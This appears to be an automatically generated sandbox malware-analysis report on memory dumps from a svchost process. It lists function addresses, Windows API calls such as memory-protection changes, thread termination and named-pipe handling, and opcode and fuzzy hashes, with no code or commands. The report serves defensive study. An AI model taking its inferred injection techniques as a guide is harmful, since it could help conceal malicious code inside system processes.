SetLastError.KERNEL32 ref: 00000179537AD04F

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 8609c7cee23a4da2cb73d7b9a2e9104af3180433e72c296c04d1e0e8fdc5031b
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: C811A270B2C26881FA2BA73259653E923715B477FCF144327A83E477DAEE28C5499200

Function 00000179537A199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000179537A19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000179537A19E0
PathFindFileNameW.SHLWAPI ref: 00000179537A19EF
lstrlenW.KERNEL32 ref: 00000179537A19FB
StrCpyW.SHLWAPI ref: 00000179537A1A0E
CloseHandle.KERNEL32 ref: 00000179537A1A1C

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 56b2cd84fcc0e7ced0197c83fadfe9882c07905c38d9d912c2a518943b9c5019
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 51016931B08A5482FB11DB52A8A879963B5F789BC8F888036DE8D43754EF3CC98DC704

Function 00000179537A36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000179537A36E4
GetCurrentProcess.KERNEL32 ref: 00000179537A36F2
VirtualProtectEx.KERNEL32 ref: 00000179537A3714
GetCurrentProcess.KERNEL32 ref: 00000179537A3732
VirtualProtectEx.KERNEL32 ref: 00000179537A3753
TerminateThread.KERNEL32 ref: 00000179537A3762

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: d2470d701e98e81108f06155ee65d957e7b349e728d52e6fd90ae972be3b8938
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: DD012D75B1975882FF269B62E86879573B0FB5AB8AF04042ACE8D07754EF3DC50C8704

Function 00000179537A9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000179537A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537A90A8
RtlUnwindEx.NTDLL ref: 00000179537A90F7

Strings

csm, xrefs: 00000179537A908E
f, xrefs: 00000179537A9026

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 523c0386b4c626f6db8f57a49f1f760a6df895bac009b115f0e0608c5af323b5
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 0E51B232B2962886EB56DF15E448B9D37B6F347B8CF108126DA0E47788EB75CC59C704

Function 00000179537A8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000179537A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537A90A8
RtlUnwindEx.NTDLL ref: 00000179537A90F7

Strings

csm, xrefs: 00000179537A908E
f, xrefs: 00000179537A9026

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 296e92441388b6fc06103b0115ebcdacb288d64441a59e498690bc521cbf3a7d
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 5531E032A2866896E716DF21E84879E37B4F743BCCF148016EE4E43788DB39C968C704

Function 00000179537A1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000179537A1A60
StrCmpNIW.SHLWAPI ref: 00000179537A1A7A
lstrlenW.KERNEL32 ref: 00000179537A1A89
StrCpyW.SHLWAPI ref: 00000179537A1A9E

Strings

\\?\, xrefs: 00000179537A1A6E

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: de33d0b7403191fafe040a8392dc9819e369d541baf2522363be2d8de6ed28d3
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 65F03C72B1865592FB618F21E8D479A6771F749B8CF848022DA8D46A58EB2CC68DCB00

Function 00000179537ABC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000179537ABCBD
GetProcAddress.KERNEL32 ref: 00000179537ABCD3
FreeLibrary.KERNEL32 ref: 00000179537ABCFA

Strings

CorExitProcess, xrefs: 00000179537ABCCC
mscoree.dll, xrefs: 00000179537ABCB4

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: f286dd60a5522db936dfed800217cc6c1f6d92c6ac24c710919bdd42c6a300c2
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 83F09671B2971481FB158B29E8647D96370EB8AB69F54021BCAAE463E4EF3CC44CC300

Function 00000179537A3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000179537A3066
StrCpyW.SHLWAPI ref: 00000179537A3076
StrCatW.SHLWAPI ref: 00000179537A3082
PathCombineW.SHLWAPI ref: 00000179537A3090

Strings

\\.\pipe\, xrefs: 00000179537A305C

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: bfab23f09705f7b99784b468b9aa13085e235c3ca8d88f22da8ea4acb8ae1034
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 55F05E70A18BA482EA418F52B92419A6371EB4EFC8F044032EE8E07B18EE3CC4498714

Function 00000179537A50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000179537A5156

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 898435458d9111b53b1cdb683c1f8426028e1d60795762d314f968d6b34372fa
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: EE02A73262DB9486E7A1CB55E49039AB7B1F3C5798F104116EACE87BA9DF7CC458CB00

Function 0000017953783504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001795378352C
_set_statfp.LIBCMT ref: 0000017953783547
_set_statfp.LIBCMT ref: 0000017953783563
_set_statfp.LIBCMT ref: 000001795378359F

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 3cc9218a8b4e95386c2da3f1349016e86a73989eeb7d6784e7c61b0fa2066005
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F511A73AE1DA3111FA5715FCE4413E993E0EB5B37CF48472BA97E067DACA68C84D4100

Function 00000179537B4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000179537B412C
_set_statfp.LIBCMT ref: 00000179537B4147
_set_statfp.LIBCMT ref: 00000179537B4163
_set_statfp.LIBCMT ref: 00000179537B419F

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 1a93a27212db14d107c445d7083ca94b3231e77f583d31af7090b27211639dc1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 16110632E1CF7821F666156AD4753E513706B7B3BCF080626A97E077D6FB24C8AC5211

Function 000001795377F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001795377F124

Strings

or copy constructor iterator', xrefs: 000001795377F25A, 000001795377F275
Tuesday, xrefs: 000001795377F0F4
Wednesday, xrefs: 000001795377F1ED

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 7ae5aeff7bedc3f2e07649f4cc5b94845739e1ebc3c2fb1e68247ee672dcd3a0
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: AE619F32E0C66482FA67DB68E6443EE6BF0E78774CF554517CA2E177A4DA34C84AC220

Function 00000179537AAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000179537AAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000179537AAAB7

Strings

RCC, xrefs: 00000179537AAA85
MOC, xrefs: 00000179537AAA7C

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 3a2af3483e4300a1187523e9586c3a768ce971fdbc56a475376103612aa46848
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: CD613632A19B988AEB619F69D4803DD77B0F74AB8CF144216EE4D17B98DB38C599C700

Function 000001795377A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001795377A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001795377A288

Strings

csm, xrefs: 000001795377A2DA
csm, xrefs: 000001795377A1C2

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 8b5f16ec00f45c4a7ced28edb1d3fb9ff7d8c5f0b459b66f842ca35e7ccd5795
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: C2517032908AA0CAFBA68F25954439877F0F39AB98F185117EF5D87BD5CB38D468C700

Function 00000179537AAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000179537AADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000179537AAE88

Strings

csm, xrefs: 00000179537AADC2
csm, xrefs: 00000179537AAEDA

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 643f0b19000955fd4531acc435b5a4dff8720e58fb8e76c4df4d970b4f056407
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 4F51B072928BA0CAEBB98F25948439D77B0F756B8DF184117DA9D47BD9CB38C468C700

Function 0000017953778405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017953778413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537784A8

Strings

csm, xrefs: 000001795377848E
f, xrefs: 0000017953778426

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 5ac530eb3dc6006a10c07ebfe96c76d79b6a881cc49be52fd1b4b670004edea5
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1751BB32A09220AAEB57CF25E405B9837F5F352BDCF518126DA1E43788EB74E949CB04

Function 00000179537783E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017953778413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537784A8

Strings

csm, xrefs: 000001795377848E
f, xrefs: 0000017953778426

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: dc1ac7ef7cd5220de1efaa23918da90dfe07c950faa1f83c25e2fd2283a28f24
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 9831CB32A09660A6E713DF21E845B997BF4F342BDCF058116EE5E03788DB38E949CB04

Function 00000179537B2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000179537B20D7
WriteFile.KERNEL32 ref: 00000179537B239F
WriteFile.KERNEL32 ref: 00000179537B23E5
GetLastError.KERNEL32 ref: 00000179537B249B

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 06d4593c12757a61a920345c0e2df76c0e129f7e16386725fafdea6654bba7a9
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: C5D1BF32B19A9489E712CFA9D4503DC3BB1F35AB9CF148216DE5E97B99EB34C50AC340

Function 00000179537A14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A14C5
HeapFree.KERNEL32 ref: 00000179537A14D4
GetProcessHeap.KERNEL32 ref: 00000179537A14E1
HeapFree.KERNEL32 ref: 00000179537A14F0
GetProcessHeap.KERNEL32 ref: 00000179537A1500

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: bb6b78b593707857310a3324dd096787fdb4aa97373bc89aca0eb61e411b0d18
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: 1D118B36918AA8C6E716DF66A81818977B0F78AF89F084026EBCD43716EE38C458C744

Function 00000179537B2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000179537B2A9C
GetLastError.KERNEL32 ref: 00000179537B2B27

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: aa35c425ef9fc4d6b2506b4269cbb304a299e5433bf6d60ac2d50f473d078f8f
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: D191A032F1966485FB629F6594A03EE2BB0B746B8CF14410BDE4E67B95EF35C48AC700

Function 00000179537A7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000179537A798C
GetCurrentThreadId.KERNEL32 ref: 00000179537A799A
GetCurrentProcessId.KERNEL32 ref: 00000179537A79A6
QueryPerformanceCounter.KERNEL32 ref: 00000179537A79B6

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 9256c04884558f9edc0885e3b789def796bf32de9d9fbb855d04952720b7616f
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: A6111C32B14B1989EB008B61E8543E833B4F71A75CF440E22DBAD467A4EB78C1A88380

Function 00000179537A253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000179537A2620
StrCpyW.SHLWAPI ref: 00000179537A2639

Strings

\\.\pipe\, xrefs: 00000179537A262B

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 9464ef761ac9fd1665e8c61fdda8a34e1658d64a02c8beec298f218a00bbb3c3
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: AB71D736A287A146E766DF25D8443EA67B4F38678DF44002BDE4E53F89DE35C689C700

Function 0000017953779E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000017953779EB7

Strings

RCC, xrefs: 0000017953779E85
MOC, xrefs: 0000017953779E7C

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 4c013e113835d3432451d184c3eefa52352108669f7f627b66b82dfff524006d
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 0D615433A19B988AEB229F65D4807DD77B0F34AB8CF044616EE4D17B98DB78D199C700

Function 00000179537A94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000179537A94F0
RaiseException.KERNEL32 ref: 00000179537A9531

Strings

csm, xrefs: 00000179537A951E

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 6bf90dc9676103b16e0bcc020ce2c1a8f578aef3304401d1f88f1bac78d3cb30
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: C8112B36619B9482EB628B15E44439A77F5F78AB98F584221EFCC07758EF3CC565CB00

Function 0000017953777356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001795377737C

Strings

riptor at (, xrefs: 0000017953777364
ierarchy Descriptor', xrefs: 0000017953777381

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: f60bf3152a5179fea1846c11251400d11a437752cd411464d01763722624210a
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 08E08671A44B5490DF038F61E8502D873B0DB59B68F499223995C46311FA38D1EEC300

Function 00000179537773B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000179537773D8

Strings

Locator', xrefs: 00000179537773DD
riptor at (, xrefs: 00000179537773C0

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 8897af8326f031d2cd0f0d13e8354f59a96aeafc3cb2cafeabf6ee747cc8861e
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 0DE08671A04B5490DF038F61D4501D873B0E759B68F899223C95C06311EA38D1E9C300

Function 00000179537A1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A1C2D
HeapAlloc.KERNEL32 ref: 00000179537A1C3B
GetProcessHeap.KERNEL32 ref: 00000179537A1C77
HeapFree.KERNEL32 ref: 00000179537A1C85

Part of subcall function 00000179537A152C: StrCmpIW.SHLWAPI ref: 00000179537A155D

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 2a4f8d57dda99efd85754da4b3249eaba21036bec465e402961c7aa9532c5649
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
